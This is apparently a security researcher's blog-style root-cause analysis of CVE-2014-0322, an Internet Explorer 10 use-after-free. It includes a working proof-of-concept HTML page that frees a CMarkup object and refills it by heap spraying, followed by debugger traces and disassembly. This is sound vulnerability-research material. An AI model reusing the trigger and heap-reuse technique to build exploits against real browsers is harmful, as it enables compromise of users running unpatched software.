Yesterday, fireeye has posted a blog about a new 0day attack.
(http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/new-ie-zero-day-found-in-watering-hole-attack-2.html)
(http://www.fireeye.com/blog/uncategorized/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html). This 0day is affected IE 10, and has been assigned as CVE-2014-0322, and it can be used to ATP attack.
We can find the sample here: http://jsunpack.jeek.org/?report=a7d85dd462456a816b1ebc8306550e0c9b61c75e
Now let’s analyze the root cause.
The poc code is just like the following:
<html> <head id="headId"> <title>main page</title> <script> function dword2data(dword) { var d = Number(dword).toString(16); while (d.length < 8) d = '0' + d; return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4)); } var g_arr = []; var arrLen = 0x250; function fun() { var a=0; // to alloc the memory for(a=0;a<arrLen;++a) { g_arr[a]=document.createElement('div') }; var b = dword2data(0x41414141); while(b.length<0x360) b += dword2data(0x41414141); var d=b.substring(0,(0x340-2)/2); try{ this.outerHTML=this.outerHTML } catch(e){} CollectGarbage(); //to reuse the freed memory for(a=0;a<arrLen;++a) { g_arr[a].title=d.substring(0,d.length); } } function puIHa3() { var a = document.getElementsByTagName("script"); var b = a[0]; b.onpropertychange = fun ; var c = document.createElement('SELECT'); c = b.appendChild(c);// } puIHa3(); </script> </head> </html>
when we open this page in the IE 10, it would crash. the crash info is like following:
0:019> g Breakpoint 0 hit eax=41414141 ebx=03c186a0 ecx=000000a8 edx=09b0c930 esi=09b0c930 edi=03be7810 eip=661470c2 esp=040bb2cc ebp=040bb338 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x16: 661470c2 ff4010 inc dword ptr [eax+10h] ds:0023:41414151=???????? 0:007> dd edx 09b0c930 41414141 41414141 41414141 41414141 09b0c940 41414141 41414141 41414141 41414141 09b0c950 41414141 41414141 41414141 41414141 09b0c960 41414141 41414141 41414141 41414141 09b0c970 41414141 41414141 41414141 41414141 09b0c980 41414141 41414141 41414141 41414141 09b0c990 41414141 41414141 41414141 41414141 09b0c9a0 41414141 41414141 41414142 c1414142 0:007> kv ChildEBP RetAddr Args to Child 040bb2c8 66338d6a 03c18f94 040bb4a8 09b0c930 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x16 (FPO: [0,0,0]) 040bb338 6633949d 09b0c930 03be7810 03c186a0 MSHTML!CMarkup::NotifyElementEnterTree+0x277 (FPO: [Non-Fpo]) 040bb37c 66339311 03c186a0 03be7810 03c18fac MSHTML!CMarkup::InsertSingleElement+0x169 (FPO: [Non-Fpo]) 040bb45c 66338fbd 09b0c930 03be7810 040bb4a8 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d (FPO: [Non-Fpo]) 040bb480 66338f7f 03be7810 040bb4a8 040bb4b4 MSHTML!CMarkup::InsertElementInternal+0x2e (FPO: [Non-Fpo]) 040bb4c0 66339088 03be7810 040bb5a8 040bb5a8 MSHTML!CDoc::InsertElement+0x9c (FPO: [Non-Fpo]) 040bb588 660f4b62 00000000 040bb5a8 002fab68 MSHTML!InsertDOMNodeHelper+0x454 (FPO: [Non-Fpo]) 040bb5f4 660f4a6c 03be7810 00000000 00000000 MSHTML!CElement::InsertBeforeHelper+0x92 (FPO: [Non-Fpo]) 040bb654 660f511c 00000000 00000003 02fe9190 MSHTML!CElement::InsertBeforeHelper+0xe5 (FPO: [Non-Fpo]) 040bb674 660f54a7 03be7810 00000001 00000000 MSHTML!CElement::InsertBefore+0x36 (FPO: [Non-Fpo]) 040bb700 660f53c0 02fe9190 040bb740 00000002 MSHTML!CElement::Var_appendChild+0xcb (FPO: [Non-Fpo]) 040bb730 6be63c04 07fe48d0 02000002 03a1a090 MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55 (FPO: [Non-Fpo]) 040bb798 6be403d2 07fe48d0 02000002 03a1a090 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185 (FPO: [Non-Fpo]) 040bb924 6be3f6d5 040bb930 039dc0bc 039d61c0 jscript9!Js::InterpreterStackFrame::Process+0xaab (FPO: [Non-Fpo]) 040bba3c 06660fe1 040bba50 040bbbd4 6be40d0c jscript9!Js::InterpreterStackFrame::InterpreterThunk+0x305 (FPO: [Non-Fpo])
The assemble code is just like following:
MSHTML!CMarkup::UpdateMarkupContentsVersion: 661470ac 8b427c mov eax,dword ptr [edx+7Ch] //the edx is freed then reused. 661470af 40 inc eax 661470b0 0d00000080 or eax,80000000h 661470b5 89427c mov dword ptr [edx+7Ch],eax 661470b8 8b82ac000000 mov eax,dword ptr [edx+0ACh] 661470be 85c0 test eax,eax 661470c0 7403 je MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19 (661470c5) 661470c2 ff4010 inc dword ptr [eax+10h] ds:0023:41414151=????????
From the upper information we can identify this one as use after free vulnerability.
And the reuse the Object is a title string object which with the size 0×340.
0:007> !heap -p -a edx address 09b0c930 found in _HEAP @ 220000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 09b0c918 006d 0000 [00] 09b0c930 00340 - (busy) 76e6ddac ntdll!RtlAllocateHeap+0x00000274 65f99ecc MSHTML!CAttrArray::Set+0x000003ab 65f11f3d MSHTML!CAttrArray::Set+0x00000037 66031ff5 MSHTML!CAttrArray::SetString+0x00000041 6651f46b MSHTML!BASICPROPPARAMS::SetString+0x00000030 66493aad MSHTML!BASICPROPPARAMS::SetStringProperty+0x0000048a 66339a5d MSHTML!CBase::put_StringHelper+0x0000005e 661dc63d MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_title+0x00000076
Now let us have a deep look where it free and why it free.
In the upper stack, we can find that after execute function “MSHTML!CMarkup::NotifyElementEnterTree”, it will be freed. And we also find the freed Object is this function’s param.
This is a CMarkup Object.
0:007> !heap -p -a poi(ebp+8) address 064e3e90 found in _HEAP @ 440000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 064e3e78 006d 0000 [00] 064e3e90 00340 - (busy) MSHTML!CMarkup::`vftable' 76e6ddac ntdll!RtlAllocateHeap+0x00000274 6183fd3e MSHTML!CDoc::CreateMarkupFromInfo+0x0000017f 61998028 MSHTML!CDoc::CreateMarkupWithElement+0x0000008a 61aee15c MSHTML!CElement::GetDOMInsertPosition+0x000001c0 61994b4e MSHTML!CElement::InsertBeforeHelper+0x0000007e 61994a6c MSHTML!CElement::InsertBeforeHelper+0x000000e5 6199511c MSHTML!CElement::InsertBefore+0x00000036 619954a7 MSHTML!CElement::Var_appendChild+0x000000cb 619953c0 MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x00000055 .text:6365FD23 loc_6365FD23: ; CODE XREF: CDoc::CreateMarkupFromInfo(CREATEMARKUPINFO const *,CMarkup * *)+2FA34j .text:6365FD23 ; CDoc::CreateMarkupFromInfo(CREATEMARKUPINFO const *,CMarkup * *)+A8B9AEj .text:6365FD23 test esi, esi .text:6365FD25 jz loc_640EB827 .text:6365FD2B push 340h ; dwBytes .text:6365FD30 push 8 ; dwFlags .text:6365FD32 push _g_hProcessHeap ; hHeap .text:6365FD38 call ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x) .text:6365FD3E test eax, eax .text:6365FD40 jz loc_640EB81C .text:6365FD46 push dword ptr [ebx+1Ch] .text:6365FD49 push esi .text:6365FD4A mov esi, eax .text:6365FD4C call ??0CMarkup@@QAE@PAVCSecurityContext@@H@Z ; CMarkup::CMarkup(CSecurityContext *,int)
So we make a breakpoint on this function, and get the addr of this Object.
then we make a breakpoint on RtlFreeHeap.
bu ntdll!RtlFreeHeap ".if (poi(esp+0xc) == object_addr){kv} .else{gc}"
After break, we see the stack:
0:007> g ChildEBP RetAddr Args to Child 03aaa05c 76afc3c4 01610000 00000000 056b4600 ntdll!RtlFreeHeap (FPO: [Non-Fpo]) 03aaa070 66014bb5 01610000 00000000 056b4600 kernel32!HeapFree+0x14 (FPO: [Non-Fpo]) 03aaa088 65f035f7 00000001 65f0366d 03aaa310 MSHTML!CMarkup::`vector deleting destructor'+0x26 (FPO: [Non-Fpo]) 03aaa090 65f0366d 03aaa310 056b4600 0170aa20 MSHTML!CBase::SubRelease+0x2e (FPO: [0,0,0]) 03aaa0a4 65f8beae 056b4600 00000000 03aaa224 MSHTML!CBase::PrivateRelease+0x7f (FPO: [Non-Fpo]) 03aaa0b4 6613191d 056b4600 00000044 046931c0 MSHTML!CMarkup::Release+0x2d (FPO: [Non-Fpo]) 03aaa224 66132078 0170aa20 00000005 056b4600 MSHTML!InjectHtmlStream+0x6f9 (FPO: [Non-Fpo]) 03aaa264 66132141 03aaa2c8 03aaa310 0170ff54 MSHTML!HandleHTMLInjection+0x82 (FPO: [Non-Fpo]) 03aaa358 66124b4c 00000001 0170ff54 00000022 MSHTML!CElement::InjectInternal+0x521 (FPO: [Non-Fpo]) 03aaa3cc 662ece26 016ea9a0 00000001 00000001 MSHTML!CElement::InjectTextOrHTML+0x1a4 (FPO: [Non-Fpo]) 03aaa3e8 662ecde5 016ea9a0 0170ff54 02cece90 MSHTML!CElement::put_outerHTML+0x1d (FPO: [Non-Fpo]) 03aaa410 6bed3c04 05d02360 02000002 0586a090 MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54 (FPO: [Non-Fpo])
It’s so clear that when execute the script statement “this.outHTML = this.outHTML”, it free the CMarkup Object.
The execution path is
CElement::put_outerHTML->CElement::InjectTextOrHTML->CElement::InjectInternal->HandleHTMLInjection->InjectHtmlStream.
And In the function InjectHtmlStream, it will call the CMarkup::Release to release this object.
.text:637F18AF mov eax, [ebp+var_C] .text:637F18B2 test eax, eax .text:637F18B4 jz short loc_637F18CF .text:637F18B6 mov ecx, [eax] .text:637F18B8 cmp dword ptr [ecx+1D4h], offset ___vtguard .text:637F18C2 jnz loc_63A4F3C1 .text:637F18C8 push eax .text:637F18C9 call dword ptr [ecx+224h] ; here call CMarkup Release.
We know if we want to call the object’s method, we first need to call AddRef, after used, we call release.
if the ref counter of the object is 0, we would free this object.
So I track the AddRef and Release call in this function.
---[+] call function CMarkup::NotifyElementEnterTree(CElement *,CTreeNode *,CTreePos *,CTreePos *,long,long,ulong) at address 0x64d68af3 ret_addr 64d6949d (639f949d) --------markup_object_addr: 0x060a6d48 ---[+] call function InjectHtmlStream(CMarkupPointer *,CMarkupPointer *,IStream *,ulong,CElement *,INJECTION_FLAGS,CElement *,ELEMENT_TAG,bool,uint,CPSRCE) at address 0x64b61282 ret_addr 64b62078 (637f2078) ---[+] call function CMarkup::AddRef(void) at address 0x649bbeb8 ret_addr 64b612d2 (637f12d2) --------Param: 0x060a6d48 ---[+] call function CMarkup::AddRef(void) at address 0x649bbeb8 ret_addr 64a48a69 (636d8a69) --------Param: 0x060a6d48 ---[+] call function CMarkup::Release(void) at address 0x649bbe75 ret_addr 64b62788 (637f2788) --------Param: 0x060a6d48 ---[+] call function CMarkup::Release(void) at address 0x649bbe75 ret_addr 64a4a263 (636da263) --------Param: 0x060a6d48 ---[+] call function CMarkup::Release(void) at address 0x649bbe75 ret_addr 64b6191d (637f191d) --------Param: 0x060a6d48 [+] markup_object freed [+] free(0x060a6d48)
From the upper informations, we can find the the CMarkup AddRef 2 times, Release 3 times.
So the CMarkup Object freed.